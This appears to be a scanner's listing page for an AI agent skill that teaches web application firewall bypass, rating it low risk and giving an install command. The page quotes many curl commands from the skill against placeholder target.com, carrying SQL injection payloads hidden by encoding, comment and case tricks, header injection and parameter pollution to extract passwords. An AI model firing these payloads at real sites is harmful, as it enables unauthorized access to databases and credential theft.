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performing-web-application-firewall-bypass
90 / 100 · Low risk
Fine to try. Some of what it can do is expected: a coding skill usually runs build and test commands.
By yanacuti1121/Yana-AI (GitHub) · coding · 13 stars · scanned at commit 54d4aa9
Bypass Web Application Firewall protections using encoding techniques,
Works with any agent that supports SKILL.md skills.
What this skill can do
Runs commands on your computer
The author does not mention this. Expected for a coding skill.
Found in 6 places.
Show 3 more
Sends data to these websites: target.com
The author does not mention this.
Found in 33 places.
Show 17 more
- .claude/skills/performing-web-application-firewall-bypass/SKILL.md, line 79
curl "http://target.com/page?id=1%2527%2520OR%25201%253D1--" - .claude/skills/performing-web-application-firewall-bypass/SKILL.md, line 82
curl "http://target.com/page?id=1%u0027%u0020OR%u00201%u003D1--" - .claude/skills/performing-web-application-firewall-bypass/SKILL.md, line 85
curl -X POST http://target.com/search \ - .claude/skills/performing-web-application-firewall-bypass/SKILL.md, line 89
curl "http://target.com/page?id=1' UnIoN SeLeCt password FrOm users--" - .claude/skills/performing-web-application-firewall-bypass/SKILL.md, line 92
curl "http://target.com/page?id=1'/*!UNION*//*!SELECT*/password/*!FROM*/users--" - .claude/skills/performing-web-application-firewall-bypass/SKILL.md, line 95
curl "http://target.com/page?id=1' /*!50000UNION*/ /*!50000SELECT*/ 1,2,3--" - .claude/skills/performing-web-application-firewall-bypass/SKILL.md, line 98
curl "http://target.com/page?id=1'%00 OR 1=1--" - .claude/skills/performing-web-application-firewall-bypass/SKILL.md, line 101
curl "http://target.com/page?id=1'%09UNION%0ASELECT%0D1,2,3--" - .claude/skills/performing-web-application-firewall-bypass/SKILL.md, line 107
curl -X PUT "http://target.com/page?id=1' OR 1=1--" - .claude/skills/performing-web-application-firewall-bypass/SKILL.md, line 108
curl -X PATCH "http://target.com/page" -d "id=1' OR 1=1--" - .claude/skills/performing-web-application-firewall-bypass/SKILL.md, line 114
curl -X POST http://target.com/page \ - .claude/skills/performing-web-application-firewall-bypass/SKILL.md, line 119
curl -X POST http://target.com/page \ - .claude/skills/performing-web-application-firewall-bypass/SKILL.md, line 126
curl http://target.com/page -H "X-Forwarded-For: 1' OR 1=1--" - .claude/skills/performing-web-application-firewall-bypass/SKILL.md, line 127
curl http://target.com/page -H "Referer: http://target.com/page?id=1' OR 1=1--" - .claude/skills/performing-web-application-firewall-bypass/SKILL.md, line 133
curl "http://target.com/page?id=1' UNION&id=SELECT password FROM users--" - .claude/skills/performing-web-application-firewall-bypass/SKILL.md, line 136
curl "http://target.com/page?id=1'/*&q=*/UNION SELECT 1,2,3--" - .claude/skills/performing-web-application-firewall-bypass/SKILL.md, line 139
curl -X POST http://target.com/api/query \
and 13 more places
Install
Paste this into your terminal. It downloads exactly the version we scanned, not whatever is newest.
if [ -e ~/.agents/skills/'performing-web-application-firewall-bypass' ] || [ -L ~/.agents/skills/'performing-web-application-firewall-bypass' ]; then echo 'A skill folder named performing-web-application-firewall-bypass already exists — not replacing it' >&2; false; else d=$(mktemp -d) && git clone --quiet --filter=blob:none --no-checkout 'https://github.com/yanacuti1121/Yana-AI' "$d" && git -C "$d" checkout --quiet '54d4aa9fa3241319f4d37212bd23826658bf6bed' -- '.claude/skills/performing-web-application-firewall-bypass' && mkdir -p ~/.agents/skills && cp -R "$d"/'.claude/skills/performing-web-application-firewall-bypass' ~/.agents/skills/'performing-web-application-firewall-bypass' && rm -rf "$d"; fi
Codex reads ~/.agents/skills directly. For Claude Code, Cursor, Copilot, Gemini CLI, Antigravity or OpenCode, also link it. For Claude Code: ln -s ~/.agents/skills/'performing-web-application-firewall-bypass' ~/.claude/skills/'performing-web-application-firewall-bypass' (other agents: ~/.cursor/skills, ~/.copilot/skills, ~/.gemini/skills, ~/.gemini/config/skills, ~/.config/opencode/skills). Or install through the finder skill, which does both.
Badge for your README
The badge for yanacuti1121/Yana-AI shows the score of its lowest-scoring skill.

[](https://zalavijaysinh.github.io/skilltrust/repos/yanacuti1121/Yana-AI/)
Score history
| Date | Version | Score |
|---|
| 2026-11-13 | 54d4aa9 | 90 |
| 2026-11-08 | 4a78f20 | 100 |
Also found in
Identical copies of this skill exist at:
- yanacuti1121/Yana-AI/core/skills/performing-web-application-firewall-bypass